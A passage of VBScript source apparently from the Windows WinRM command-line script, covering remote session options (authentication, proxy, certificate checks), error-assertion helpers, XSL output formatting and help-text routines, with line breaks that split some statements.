sessionFlags = sessionFlags OR
wsman.SessionFlagUseClientCertificate
case VAL_CREDSSP
'Use -username and -password.
ASSERTBOOL osVersion >= osVista, "The specified '-" & NPARA_AUTH &
"' flag '" & authVal & "' has an invalid value."
ASSERTBOOL optDic.ArgumentExists(NPARA_USERNAME), "The '-" &
NPARA_USERNAME & "' option must be specified for '-auth:credssp'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" &
NPARA_CERT & "' option is not valid for '-auth:credssp'"
sessionFlags = sessionFlags OR
wsman.SessionFlagCredUsernamePassword OR wsman.SessionFlagUseCredSSP
case else
ASSERTBOOL false, "The specified '-" & NPARA_AUTH & "' flag '" &
authVal & "' has an invalid value."
end select
end if

if optDic.ArgumentExists(NPARA_USERNAME) then
ASSERTBOOL not optDic.ArgumentExists(NPARA_CERT), "The '-" & NPARA_CERT &
"' option cannot be used together with '-username'"
set conOpt = wsman.CreateConnectionOptions
conOpt.UserName = optDic.Argument(NPARA_USERNAME)
if optDic.ArgumentExists(NPARA_PASSWORD) then
conOpt.Password = optDic.Argument(NPARA_PASSWORD)
end if
sessionFlags = sessionFlags OR wsman.SessionFlagCredUsernamePassword
end if

if optDic.ArgumentExists(NPARA_DEFAULTCREDS) then
ASSERTBOOL not optDic.ArgumentExists(NPARA_USERNAME), "The '-" &
NPARA_USERNAME & "' option cannot be used together with '-defaultCreds'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_PASSWORD), "The '-" &
NPARA_PASSWORD & "' option cannot be used together with '-defaultCreds'"
'this is only valid if -auth:Negotiate is specified
ASSERTBOOL (LCase(optDic.Argument(NPARA_AUTH)) = VAL_NEGOTIATE), "The " &
NPARA_DEFAULTCREDS & " option is only valid when the authentication mechanism is "
& VAL_NEGOTIATE
'C API will ensure this is only used w/ https
sessionFlags = sessionFlags OR
wsman.SessionFlagAllowNegotiateImplicitCredentials
end if

if optDic.ArgumentExists(NPARA_CERT) then
ASSERTBOOL not optDic.ArgumentExists(NPARA_USERNAME), "The '-" &
NPARA_USERNAME & "' option cannot be used together with '-certificate'"
ASSERTBOOL not optDic.ArgumentExists(NPARA_PASSWORD), "The '-" &
NPARA_PASSWORD & "' option cannot be used together with '-certificate'"
set conOpt = wsman.CreateConnectionOptions
conOpt.CertificateThumbprint = optDic.Argument(NPARA_CERT)
if optDic.ArgumentExists(NPARA_AUTH) then
ASSERTBOOL (LCase(optDic.Argument(NPARA_AUTH)) = VAL_CERT), "The " &
NPARA_CERT & " option is only valid when the authentication mechanism is " &
VAL_CERT
end if
'-auth might be missing, in which case we assume -a:Certificate
sessionFlags = sessionFlags OR wsman.SessionFlagUseClientCertificate
end if

if optDic.ArgumentExists(NPARA_PROXYACCESS) then
ASSERTNAL(NPARA_PROXYACCESS)
if conOpt Is Nothing then
set conOpt = wsman.CreateConnectionOptions
end if
proxyAccessTypeVal = optDic.Argument(NPARA_PROXYACCESS)
select case LCase(proxyAccessTypeVal)
case VAL_PROXY_IE_CONFIG
proxyAccessType = conOpt.ProxyIEConfig
case VAL_PROXY_WINHTTP_CONFIG
proxyAccessType = conOpt.ProxyWinHttpConfig
case VAL_PROXY_AUTODETECT
proxyAccessType = conOpt.ProxyAutoDetect
case VAL_PROXY_NO_PROXY_SERVER
proxyAccessType = conOpt.ProxyNoProxyServer
case else
ASSERTBOOL false, "The specified '-" & NPARA_PROXYACCESS & "' field
'" & proxyAccessTypeVal & "' has an invalid value."
end select
end if
if optDic.ArgumentExists(NPARA_PROXYAUTH) then
ASSERTNAL(NPARA_PROXYAUTH)
ASSERTBOOL optDic.ArgumentExists(NPARA_PROXYACCESS), "The '-" &
NPARA_PROXYAUTH & "' option is only valid when used with the '-" &
NPARA_PROXYACCESS & "' option"
if conOpt Is Nothing then
set conOpt = wsman.CreateConnectionOptions
end if
proxyAuthenticationMechanismVal = optDic.Argument(NPARA_PROXYAUTH)
select case LCase(proxyAuthenticationMechanismVal)
case VAL_BASIC
proxyAuthenticationMechanism = conOpt.ProxyAuthenticationUseBasic
case VAL_DIGEST
proxyAuthenticationMechanism = conOpt.ProxyAuthenticationUseDigest
case VAL_NEGOTIATE
proxyAuthenticationMechanism =
conOpt.ProxyAuthenticationUseNegotiate
case else
ASSERTBOOL false, "The specified '-" & NPARA_PROXYAUTH & "' flag '"
& proxyAuthenticationMechanismVal & "' has an invalid value."
end select
end if
if optDic.ArgumentExists(NPARA_PROXYUSERNAME) then
ASSERTBOOL optDic.ArgumentExists(NPARA_PROXYAUTH), "The '-" &
NPARA_PROXYUSERNAME & "' option is only valid when used with the '-" &
NPARA_PROXYAUTH & "' option"
proxyUsername = optDic.Argument(NPARA_PROXYUSERNAME)
end if
if optDic.ArgumentExists(NPARA_PROXYPASSWORD) then
ASSERTBOOL optDic.ArgumentExists(NPARA_PROXYUSERNAME), "The '-" &
NPARA_PROXYPASSWORD & "' option is only valid when used with the '-" &
NPARA_PROXYUSERNAME & "' option"
proxyPassword = optDic.Argument(NPARA_PROXYPASSWORD)
end if

if optDic.ArgumentExists(NPARA_PROXYACCESS) then
on error resume next
responseStr = conOpt.SetProxy(proxyAccessType,
proxyAuthenticationMechanism, proxyUsername, proxyPassword)
ASSERTERR conOpt, formatOption
on error goto 0
end if
if optDic.ArgumentExists(NPARA_NOCACHK) then
'C API will ensure this is only used w/ https
sessionFlags = sessionFlags OR wsman.SessionFlagSkipCACheck
end if

if optDic.ArgumentExists(NPARA_NOCNCHK) then
'C API will ensure this is only used w/ https
sessionFlags = sessionFlags OR wsman.SessionFlagSkipCNCheck
end if

if optDic.ArgumentExists(NPARA_NOREVCHK) then
'C API will ensure this is only used w/ https
sessionFlags = sessionFlags OR wsman.SessionFlagSkipRevocationCheck
end if

if optDic.ArgumentExists(NPARA_SPNPORT) then
'this is only valid if -auth is not specified or if -auth:Negotiate or -
auth:Kerberos is specified
if optDic.ArgumentExists(NPARA_AUTH) then
ASSERTBOOL (LCase(optDic.Argument(NPARA_AUTH)) = VAL_NEGOTIATE OR
LCase(optDic.Argument(NPARA_AUTH)) = VAL_KERBEROS), "The " & NPARA_SPNPORT & "
option is only valid when the authentication mechanism is " & VAL_NEGOTIATE & " or
" & VAL_KERBEROS
end if
sessionFlags = sessionFlags OR wsman.SessionFlagEnableSPNServerPort
end if

on error resume next


set session = wsman.CreateSession(conStr, sessionFlags, conOpt)
ASSERTERR wsman, formatOption
on error goto 0

if optDic.ArgumentExists(NPARA_TIMEOUT) then
ASSERTNAL(NPARA_TIMEOUT)
tout = optDic.Argument(NPARA_TIMEOUT)
ASSERTBOOL IsNumeric(tout), "Numeric value for -timeout option is expected"
session.Timeout = optDic.Argument(NPARA_TIMEOUT)
end if

set CreateSession = session


end function

private sub ASSERTERR(obj, formatOption)


dim errNo
dim errDesc
dim responseStr
dim formattedStr

if Err.Number <> 0 then


errNo = Err.Number
errDesc = Err.Description
responseStr = obj.Error
If Reformat(responseStr,formattedStr,formatOption) Then
stdErr.WriteLine formattedStr
Else
stdErr.WriteLine responseStr
End if
stdErr.WriteLine GetResource("L_ERRNO_Message") & " " & errNo & " 0x" &
Hex(errNo)
stdErr.WriteLine errDesc
WScript.Quit(ERR_GENERAL_FAILURE)
end if
end sub

' Assert Named Argument Length


private sub ASSERTNAL(namedArg)
if Len(wsmanCmdLineObj.Argument(namedArg)) = 0 then
stdErr.WriteLine GetResource("L_ERR_Message") &
GetResource("L_ARGNOVAL_Message") & namedArg
WScript.Quit(ERR_GENERAL_FAILURE)
end if
end sub

private sub ASSERTBOOL(bool, msg)


if Not bool then
stdErr.WriteLine GetResource("L_ERR_Message") & msg
WScript.Quit(ERR_GENERAL_FAILURE)
end if
end sub

private function ReFormat(rawStr,formattedStr,formatOption)


dim xslFile
dim xmlFile
dim xmlFileName
dim xslFileName
dim FORMAT_XSL_PATH

if Len(rawStr) = 0 then
ReFormat = false
exit function
end if

on error resume next


err.clear

if LCase(formatOption) = VAL_FORMAT_XML then


formattedStr = rawStr
else
set xmlFile = CreateObject("MSXML2.DOMDOCUMENT.6.0")
if Err.number <> 0 then
stdErr.WriteLine GetResource("L_MSXML6MISSING_Message")
on error goto 0
ReFormat = false
exit function
end if

set xslFile = CreateObject("MSXML2.DOMDOCUMENT.6.0")


if Err.number <> 0 then
stdErr.WriteLine GetResource("L_MSXML6MISSING_Message")
on error goto 0
ReFormat = false
exit function
end if

xmlFile.async = false
xslFile.async = false

xmlFile.LoadXML(rawStr)
if (xmlFile.parseError.errorCode <> 0) then
stdErr.WriteLine GetResource("L_XMLERROR_Message") &
xmlFile.parseError.reason
on error goto 0
ReFormat = false
exit function
end If

FORMAT_XSL_PATH = WSHShell.ExpandEnvironmentStrings("%systemroot%\
system32\")
if InStr(LCase(WScript.Path),"\syswow64") > 0 then
FORMAT_XSL_PATH = WSHShell.ExpandEnvironmentStrings("%systemroot%\
syswow64\")
end if

if LCase(formatOption) = VAL_FORMAT_TEXT then


FORMAT_XSL_PATH = FORMAT_XSL_PATH & VAL_FORMAT_TEXT_XSLT
elseif LCase(formatOption) = VAL_FORMAT_PRETTY then
FORMAT_XSL_PATH = FORMAT_XSL_PATH & VAL_FORMAT_PRETTY_XSLT
else
stdErr.WriteLine GetResource("L_FORMATLERROR_Message") & formatOption
stdErr.WriteLine
on error goto 0
ReFormat = false
exit function
end If

if Not xslFile.load(FORMAT_XSL_PATH) then


stdErr.WriteLine GetResource("L_XSLERROR_Message") & FORMAT_XSL_PATH
if xslFile.parseError.errorCode < 0 then
stdErr.WriteLine xslFile.parseError.reason
end if
on error goto 0
ReFormat = false
exit function
end if

formattedStr = xmlFile.transformNode (xslFile)


if Err.number <> 0 then
stdErr.WriteLine Err.Description
on error goto 0
ReFormat = false
exit function
end if
end if
ReFormat = true
end function

Private Sub HelpMenu(topic, stream)


Dim helpMenu
Set helpMenu = CreateObject("Scripting.Dictionary")
helpMenu.Add OP_HELP, "HelpHelp"
helpMenu.Add OP_GET, "HelpGet"
helpMenu.Add OP_PUT, "HelpSet"
helpMenu.Add OP_CONFIGSDDL, "HelpConfigSDDL"
helpMenu.Add OP_CRE, "HelpCreate"
helpMenu.Add OP_DEL, "HelpDelete"
helpMenu.Add OP_ENU, "HelpEnum"
helpMenu.Add OP_INV, "HelpInvoke"
helpMenu.Add OP_QUICKCONFIG, "HelpQuickConfig"
helpMenu.Add OP_IDENTIFY, "HelpIdentify"
helpMenu.Add OP_HELPMSG, "HelpMsg"

helpMenu.Add NPARA_USERNAME, "HelpAuth"


helpMenu.Add NPARA_PASSWORD, "HelpAuth"
helpMenu.Add NPARA_PROXYAUTH, "HelpProxy"
helpMenu.Add NPARA_PROXYACCESS, "HelpProxy"
helpMenu.Add NPARA_PROXYUSERNAME, "HelpProxy"
helpMenu.Add NPARA_PROXYPASSWORD, "HelpProxy"
helpMenu.Add NPARA_DIALECT, "HelpSwitches"
helpMenu.Add NPARA_FILE, "HelpInput"
helpMenu.Add NPARA_FILTER, "HelpSwitches"
helpMenu.Add NPARA_REMOTE, "HelpRemote"
helpMenu.Add NPARA_NOCACHK, "HelpSwitches"
helpMenu.Add NPARA_NOCNCHK, "HelpSwitches"
helpMenu.Add NPARA_NOREVCHK, "HelpSwitches"
helpMenu.Add NPARA_DEFAULTCREDS, "HelpSwitches"
helpMenu.Add NPARA_SPNPORT, "HelpSwitches"
helpMenu.Add NPARA_TIMEOUT, "HelpSwitches"
helpMenu.Add NPARA_AUTH, "HelpAuth"
helpMenu.Add NPARA_UNENCRYPTED, "HelpRemote"
helpMenu.Add NPARA_USESSL, "HelpRemote"
helpMenu.Add NPARA_ENCODING, "HelpSwitches"
helpMenu.Add NPARA_FORMAT, "HelpSwitches"
helpMenu.Add NPARA_OPTIONS, "HelpSwitches"
helpMenu.Add NPARA_FRAGMENT, "HelpSwitches"
helpMenu.Add "@{}", "HelpInput"

helpMenu.Add HELP_CONFIG, "HelpConfig"


helpMenu.Add HELP_CertMapping, "HelpCertMapping"
helpMenu.Add HELP_URIS, "HelpUris"
helpMenu.Add HELP_ALIAS, "HelpAlias"
helpMenu.Add HELP_ALIASES, "HelpAlias"
helpMenu.Add HELP_FILTERS, "HelpFilters"
helpMenu.Add HELP_SWITCHES, "HelpSwitches"
helpMenu.Add HELP_REMOTING, "HelpRemote"
helpMenu.Add HELP_INPUT, "HelpInput"
helpMenu.Add HELP_AUTH, "HelpAuth"
helpMenu.Add HELP_PROXY, "HelpProxy"

Dim helpFctn
topic = LCase(topic)
If helpMenu.Exists(topic) Then
helpFctn = helpMenu(topic)
Else
helpFctn = "HelpHelp"
End If

stream.WriteLine GetResource("L_Help_Title_0_Message") & vbNewLine

If topic <> "all" Then


Dim cmd
cmd = "Call " & helpFctn & "(stream)"
Execute(cmd)
Else
HelpAll(stream)
End If
End Sub

Private Sub HelpTopic(stream, label)


dim NL
NL = vbNewLine
Dim seperator
seperator = vbNewLine &
"-------------------------------------------------------------------------------"
stream.WriteLine seperator & NL & "TOPIC: " & label & NL

End Sub

Private Sub HelpAll(stream)


Dim seperator
seperator = vbNewLine &
"-------------------------------------------------------------------------------"
dim NL
NL = vbNewLine

HelpTopic stream, "winrm -?"


HelpHelp stream

HelpTopic stream, "winrm get -?"


HelpGet stream

HelpTopic stream, "winrm set -?"


HelpSet stream

HelpTopic stream, "winrm create -?"


HelpCreate stream

HelpTopic stream, "winrm delete -?"


HelpDelete stream

HelpTopic stream, "winrm enumerate -?"


HelpEnum stream

HelpTopic stream, "winrm invoke -?"


HelpInvoke stream

HelpTopic stream, "winrm identify -?"


HelpIdentify stream

HelpTopic stream, "winrm quickconfig -?"


HelpQuickConfig stream

HelpTopic stream, "winrm helpmsg -?"


HelpMsg stream

HelpTopic stream, "winrm help uris"


HelpUris stream

HelpTopic stream, "winrm help alias"


HelpAlias stream

HelpTopic stream, "winrm help config"


HelpConfig stream

HelpTopic stream, "winrm help configsddl"


HelpConfigsddl stream

HelpTopic stream, "winrm help certmapping"


HelpCertMapping stream

HelpTopic stream, "winrm help remoting"


HelpRemote stream

HelpTopic stream, "winrm help auth"


HelpAuth stream

HelpTopic stream, "winrm help proxy"


HelpProxy stream

HelpTopic stream, "winrm help input"


HelpInput stream

HelpTopic stream, "winrm help filters"


HelpFilters stream

HelpTopic stream, "winrm help switches"


HelpSwitches stream
End Sub

''''''''''''''''''''''''''''''''''''''''''''
' HELP - HELP
Private Sub HelpHelp(stream)
dim NL
NL = vbNewLine
stream.WriteLine _
GetResource("L_HelpHelp_000_0_Message") & NL & _
GetResource("L_HelpHelp_001_0_Message") & NL & _
GetResource("L_HelpHelp_001_1_Message") & NL & _
GetResource("L_HelpHelp_002_0_Message") & NL & _
GetResource("L_HelpHelp_003_0_Message") & NL & _
GetResource("L_HelpHelp_004_0_Message") & NL & _
GetResource("L_HelpHelp_005_0_Message") & NL & _
GetResource("L_HelpHelp_007_0_Message") & NL & _
GetResource("L_HelpHelp_008_0_Message") & NL & _
GetResource("L_HelpHelp_009_0_Message") & NL & _
GetResource("L_HelpHelp_010_0_Message") & NL & _
GetResource("L_HelpHelp_011_0_Message") & NL & _
GetResource("L_HelpHelp_012_0_Message") & NL & _
GetResource("L_HelpHelp_013_0_Message") & NL & _
GetResource("L_HelpHelp_014_0_Message") & NL & _
GetResource("L_HelpHelp_015_0_Message") & NL & _
GetResource("L_HelpHelp_015_1_Message") & NL & _
GetResource("L_HelpHelp_016_0_Message") & NL & _
GetResource("L_HelpHelp_016_1_Message") & NL & _
GetResource("L_HelpHelp_016_3_Message") & NL & _
GetResource("L_HelpHelp_016_4_Message") & NL & _
GetResource("L_HelpHelp_017_0_Message") & NL & _
GetResource("L_HelpHelp_018_0_Message") & NL & _
GetResource("L_HelpHelp_019_0_Message") & NL & _
GetResource("L_HelpHelp_020_0_Message") & NL & _
GetResource("L_HelpHelp_021_0_Message") & NL & _
GetResource("L_HelpHelp_021_2_Message") & NL & _
GetResource("L_HelpHelp_022_0_Message") & NL & _
GetResource("L_HelpHelp_023_0_Message") & NL & _
GetResource("L_HelpHelp_024_0_Message") & NL & _
GetResource("L_HelpHelp_025_0_Message") & NL & _
GetResource("L_HelpHelp_026_0_Message")
End Sub

'''''''''''''''''''''
' HELP - GET
Private Sub HelpGet(stream)
dim NL
NL = vbNewLine
stream.WriteLine _
GetResource("L_HelpGet_000_0_Message") & NL & _
GetResource("L_HelpGet_001_0_Message") & NL & _
GetResource("L_HelpGet_002_0_Message") & NL & _
GetResource("L_HelpGet_003_0_Message") & NL & _
GetResource("L_HelpGet_004_0_Message") & NL & _
GetResource("L_HelpGet_005_0_Message") & NL & _
GetResource("X_HelpGet_006_0_Message") & NL & _
GetResource("L_HelpGet_007_0_Message") & NL & _
GetResource("L_HelpGet_008_0_Message") & NL & _
GetResource("X_HelpGet_009_0_Message") & NL & _
GetResource("L_HelpGet_010_0_Message") & NL & _
GetResource("L_HelpGet_014_0_Message") & NL & _
GetResource("X_HelpGet_015_0_Message") & NL & _
GetResource("L_HelpGet_016_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_Help_SeeAlso_Title_Message") & NL & _
GetResource("X_Help_SeeAlso_Uris_Message") & NL & _
GetResource("X_Help_SeeAlso_Aliases_Message") & NL & _
GetResource("X_Help_SeeAlso_Switches_Message")
End Sub

'''''''''''''''''''''
' HELP - CONFIGSDDL
Private Sub HelpConfigsddl(stream)
dim NL
NL = vbNewLine
stream.WriteLine _
GetResource("L_HelpConfigsddl_000_1_Message") & NL & _
GetResource("L_HelpConfigsddl_001_0_Message") & NL & _
GetResource("L_HelpConfigsddl_002_0_Message") & NL & _
GetResource("L_HelpConfigsddl_002_1_Message") & NL & _
GetResource("L_HelpConfigsddl_003_0_Message") & NL & _
GetResource("L_HelpConfigsddl_004_0_Message") & NL & _
GetResource("L_HelpConfigsddl_005_0_Message") & NL & _
GetResource("L_HelpConfigsddl_005_1_Message") & NL & _
GetResource("L_HelpConfigsddl_006_0_Message") & NL & _
GetResource("L_HelpConfigsddl_010_0_Message") & NL & _
GetResource("L_HelpConfigsddl_011_0_Message") & NL & _
GetResource("X_HelpConfigsddl_012_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_Help_SeeAlso_Title_Message") & NL & _
GetResource("X_Help_SeeAlso_Switches_Message")
End Sub

'''''''''''''''''''''
' HELP - SET
Private Sub HelpSet(stream)
dim NL
NL = vbNewLine
stream.WriteLine _
GetResource("L_HelpSet_001_0_Message") & NL & _
GetResource("L_HelpSet_002_0_Message") & NL & _
GetResource("L_HelpSet_003_0_Message") & NL & _
GetResource("L_HelpSet_004_0_Message") & NL & _
GetResource("L_HelpSet_005_0_Message") & NL & _
GetResource("L_HelpSet_006_0_Message") & NL & _
GetResource("L_HelpSet_007_0_Message") & NL & _
GetResource("L_HelpSet_008_0_Message") & NL & _
GetResource("L_HelpSet_009_0_Message") & NL & _
GetResource("X_HelpSet_010_0_Message") & NL & _
GetResource("L_HelpSet_011_0_Message") & NL & _
GetResource("L_HelpSet_012_0_Message") & NL & _
GetResource("X_HelpSet_013_0_Message") & NL & _
GetResource("L_HelpSet_014_0_Message") & NL & _
GetResource("L_HelpSet_018_0_Message") & NL & _
GetResource("X_HelpSet_019_0_Message") & NL & _
GetResource("L_HelpSet_020_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_Help_SeeAlso_Title_Message") & NL & _
GetResource("X_Help_SeeAlso_Uris_Message") & NL & _
GetResource("X_Help_SeeAlso_Aliases_Message") & NL & _
GetResource("X_Help_SeeAlso_Input_Message") & NL & _
GetResource("X_Help_SeeAlso_Switches_Message")
End Sub

'''''''''''''''''''''
' HELP - CREATE
Private Sub HelpCreate(stream)
dim NL
NL = vbNewLine
stream.WriteLine _
GetResource("L_HelpCreate_001_0_Message") & NL & _
GetResource("L_HelpCreate_002_0_Message") & NL & _
GetResource("L_HelpCreate_003_0_Message") & NL & _
GetResource("L_HelpCreate_004_0_Message") & NL & _
GetResource("L_HelpCreate_005_0_Message") & NL & _
GetResource("L_HelpCreate_006_0_Message") & NL & _
GetResource("L_HelpCreate_007_0_Message") & NL & _
GetResource("L_HelpCreate_008_0_Message") & NL & _
GetResource("X_HelpCreate_009_0_Message") & NL & _
GetResource("L_HelpCreate_010_0_Message") & NL & _
GetResource("L_HelpCreate_011_0_Message") & NL & _
GetResource("X_HelpCreate_012_0_Message") & NL & _
GetResource("L_HelpCreate_013_0_Message") & NL & _
GetResource("L_HelpCreate_014_0_Message") & NL & _
GetResource("L_HelpCreate_015_0_Message") & NL & _
GetResource("X_HelpCreate_016_0_Message") & NL & _
GetResource("L_HelpCreate_017_0_Message") & NL & _
GetResource("L_HelpCreate_022_0_Message") & NL & _
GetResource("X_HelpCreate_023_0_Message") & NL & _
GetResource("L_HelpCreate_024_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_Help_SeeAlso_Title_Message") & NL & _
GetResource("X_Help_SeeAlso_Uris_Message") & NL & _
GetResource("X_Help_SeeAlso_Aliases_Message") & NL & _
GetResource("X_Help_SeeAlso_Input_Message") & NL & _
GetResource("X_Help_SeeAlso_Switches_Message")
End Sub

'''''''''''''''''''''
' HELP - DELETE
Private Sub HelpDelete(stream)
dim NL
NL = vbNewLine
stream.WriteLine _
GetResource("L_HelpDelete_001_0_Message") & NL & _
GetResource("L_HelpDelete_002_0_Message") & NL & _
GetResource("L_HelpDelete_003_0_Message") & NL & _
GetResource("L_HelpDelete_004_0_Message") & NL & _
GetResource("L_HelpDelete_005_0_Message") & NL & _
GetResource("X_HelpDelete_006_0_Message") & NL & _
GetResource("L_HelpDelete_007_0_Message") & NL & _
GetResource("L_HelpDelete_008_0_Message") & NL & _
GetResource("X_HelpDelete_009_0_Message") & NL & _
GetResource("L_HelpDelete_010_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_Help_SeeAlso_Title_Message") & NL & _
GetResource("X_Help_SeeAlso_Uris_Message") & NL & _
GetResource("X_Help_SeeAlso_Aliases_Message") & NL & _
GetResource("X_Help_SeeAlso_Switches_Message")
End Sub

'''''''''''''''''''''
' HELP - ENUMERATE
Private Sub HelpEnum(stream)
dim NL
NL = vbNewLine
stream.WriteLine _
GetResource("L_HelpEnum_001_0_Message") & NL & _
GetResource("L_HelpEnum_001_1_Message") & NL & _
GetResource("L_HelpEnum_002_0_Message") & NL & _
GetResource("L_HelpEnum_003_0_Message") & NL & _
GetResource("L_HelpEnum_004_0_Message") & NL & _
GetResource("L_HelpEnum_005_0_Message") & NL & _
GetResource("L_HelpEnum_006_0_Message") & NL & _
GetResource("L_HelpEnum_006_1_Message") & NL & _
GetResource("L_HelpEnum_006_2_Message") & NL & _
GetResource("L_HelpEnum_006_3_Message") & NL & _
GetResource("L_HelpEnum_006_4_Message") & NL & _
GetResource("L_HelpEnum_006_5_Message") & NL & _
GetResource("L_HelpEnum_006_6_Message") & NL & _
GetResource("L_HelpEnum_006_7_Message") & NL & _
GetResource("L_HelpEnum_006_8_Message") & NL & _
GetResource("L_HelpEnum_006_9_Message") & NL & _
GetResource("L_HelpEnum_006_10_Message") & NL & _
GetResource("L_HelpEnum_006_11_Message") & NL & _
GetResource("L_HelpEnum_006_12_Message") & NL & _
GetResource("L_HelpEnum_006_13_Message") & NL & _
GetResource("L_HelpEnum_006_14_Message") & NL & _
GetResource("L_HelpEnum_006_15_Message") & NL & _
GetResource("L_HelpEnum_006_16_Message") & NL & _
GetResource("L_HelpEnum_006_17_Message") & NL & _
GetResource("L_HelpEnum_006_18_Message") & NL & _
GetResource("L_HelpEnum_006_19_Message") & NL & _
GetResource("L_HelpEnum_006_20_Message") & NL & _
GetResource("L_HelpEnum_006_21_Message") & NL & _
GetResource("L_HelpEnum_006_22_Message") & NL & _
GetResource("L_HelpEnum_006_23_Message") & NL & _
GetResource("L_HelpEnum_007_0_Message") & NL & _
GetResource("X_HelpEnum_008_0_Message") & NL & _
GetResource("L_HelpEnum_009_0_Message") & NL & _
GetResource("L_HelpEnum_010_0_Message") & NL & _
GetResource("X_HelpEnum_011_0_Message") & NL & _
GetResource("L_HelpEnum_012_0_Message") & NL & _
GetResource("L_HelpEnum_016_0_Message") & NL & _
GetResource("X_HelpEnum_017_0_Message") & NL & _
GetResource("L_HelpEnum_018_0_Message") & NL & _
GetResource("L_HelpEnum_019_0_Message") & NL & _
GetResource("X_HelpEnum_020_0_Message") & NL & _
GetResource("L_HelpEnum_021_0_Message") & NL & _
GetResource("L_HelpEnum_022_0_Message") & NL & _
GetResource("X_HelpEnum_023_0_Message") & NL & _
GetResource("L_HelpEnum_024_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_Help_SeeAlso_Title_Message") & NL & _
GetResource("X_Help_SeeAlso_Uris_Message") & NL & _
GetResource("X_Help_SeeAlso_Aliases_Message") & NL & _
GetResource("X_Help_SeeAlso_Filters_Message") & NL & _
GetResource("X_Help_SeeAlso_Switches_Message")
End Sub

'''''''''''''''''''''
' HELP - INVOKE
Private Sub HelpInvoke(stream)
dim NL
NL = vbNewLine
stream.WriteLine _
GetResource("L_HelpInvoke_001_0_Message") & NL & _
GetResource("L_HelpInvoke_002_0_Message") & NL & _
GetResource("L_HelpInvoke_003_0_Message") & NL & _
GetResource("L_HelpInvoke_004_0_Message") & NL & _
GetResource("L_HelpInvoke_005_0_Message") & NL & _
GetResource("L_HelpInvoke_006_0_Message") & NL & _
GetResource("L_HelpInvoke_007_0_Message") & NL & _
GetResource("L_HelpInvoke_008_0_Message") & NL & _
GetResource("X_HelpInvoke_009_0_Message") & NL & _
GetResource("L_HelpInvoke_010_0_Message") & NL & _
GetResource("L_HelpInvoke_011_0_Message") & NL & _
GetResource("X_HelpInvoke_012_0_Message") & NL & _
GetResource("L_HelpInvoke_013_0_Message") & NL & _
GetResource("X_HelpInvoke_014_0_Message") & NL & _
GetResource("L_HelpInvoke_015_0_Message") & NL & _
GetResource("L_HelpInvoke_016_0_Message") & NL & _
GetResource("X_HelpInvoke_017_0_Message") & NL & _
GetResource("L_HelpInvoke_018_0_Message") & NL & _
GetResource("L_HelpInvoke_019_0_Message") & NL & _
GetResource("L_HelpInvoke_019_1_Message") & NL & _
GetResource("X_HelpInvoke_020_0_Message") & NL & _
GetResource("L_HelpInvoke_021_0_Message") & NL & _
GetResource("L_HelpInvoke_022_0_Message") & NL & _
GetResource("L_HelpInvoke_022_1_Message") & NL & _
GetResource("X_HelpInvoke_023_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_Help_SeeAlso_Title_Message") & NL & _
GetResource("X_Help_SeeAlso_Uris_Message") & NL & _
GetResource("X_Help_SeeAlso_Aliases_Message") & NL & _
GetResource("X_Help_SeeAlso_Input_Message") & NL & _
GetResource("X_Help_SeeAlso_Switches_Message")
End Sub

'''''''''''''''''''''
' HELP - IDENTIFY
Private Sub HelpIdentify(stream)
dim NL
NL = vbNewLine
stream.WriteLine _
GetResource("X_HelpIdentify_001_0_Message") & NL & _
GetResource("L_HelpIdentify_003_0_Message") & NL & _
GetResource("L_HelpIdentify_004_0_Message") & NL & _
GetResource("L_HelpIdentify_005_0_Message") & NL & _
GetResource("L_HelpIdentify_006_0_Message") & NL & _
GetResource("L_HelpIdentify_007_0_Message") & NL & _
GetResource("L_HelpIdentify_008_0_Message") & NL & _
GetResource("L_HelpIdentify_009_0_Message") & NL & _
GetResource("X_HelpIdentify_010_0_Message") & NL & _
GetResource("L_Help_SeeAlso_Title_Message") & NL & _
GetResource("X_Help_SeeAlso_Switches_Message") & NL & _
GetResource("X_Help_SeeAlso_Remoting_Message")
End Sub

'''''''''''''''''''''
' HELP - HELPMSG
Private Sub HelpMsg(stream)
dim NL
NL = vbNewLine
stream.WriteLine _
GetResource("X_HelpHelpMessaage_001_0_Message") & NL & _
GetResource("X_HelpHelpMessaage_002_0_Message") & NL & _
GetResource("X_HelpHelpMessaage_003_0_Message") & NL & _
GetResource("X_HelpHelpMessaage_004_0_Message") & NL & _
GetResource("X_HelpHelpMessaage_006_0_Message")
End Sub

'''''''''''''''''''''
' HELP - AUTH
Private Sub HelpAuth(stream)
dim NL
NL = vbNewLine
stream.WriteLine _
GetResource("L_HelpAuth_001_0_Message") & NL & _
GetResource("L_HelpAuth_002_0_Message") & NL & _
GetResource("L_HelpAuth_003_0_Message") & NL & _
GetResource("L_HelpAuth_004_0_Message") & NL & _
GetResource("L_HelpAuth_004_1_Message") & NL & _
GetResource("L_HelpAuth_005_0_Message") & NL & _
GetResource("L_HelpAuth_006_0_Message") & NL & _
GetResource("L_HelpAuth_007_0_Message") & NL & _
GetResource("L_HelpAuth_008_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_HelpAuthAuth_001_0_Message") & NL & _
GetResource("L_HelpAuthAuth_002_0_Message") & NL & _
GetResource("L_HelpAuthAuth_003_0_Message")
If osVersion >= osVista Then
stream.WriteLine GetResource("L_HelpAuthAuth_004_0_Message")
Else
stream.WriteLine GetResource("L_HelpAuthAuth_004_1_Message")
End If
stream.WriteLine _
GetResource("L_HelpAuthAuth_005_0_Message") & NL & _
GetResource("X_HelpAuthAuth_006_0_Message") & NL & _
GetResource("X_HelpAuthAuth_007_0_Message") & NL & _
GetResource("X_HelpAuthAuth_008_0_Message") & NL & _
GetResource("X_HelpAuthAuth_009_0_Message") & NL & _
GetResource("X_HelpAuthAuth_010_0_Message") & NL & _
GetResource("X_HelpAuthAuth_010_1_Message")
If osVersion >= osVista Then
stream.WriteLine GetResource("X_HelpAuthAuth_010_2_Message")
End If
stream.WriteLine _
GetResource("L_HelpAuthAuth_011_0_Message") & NL & _
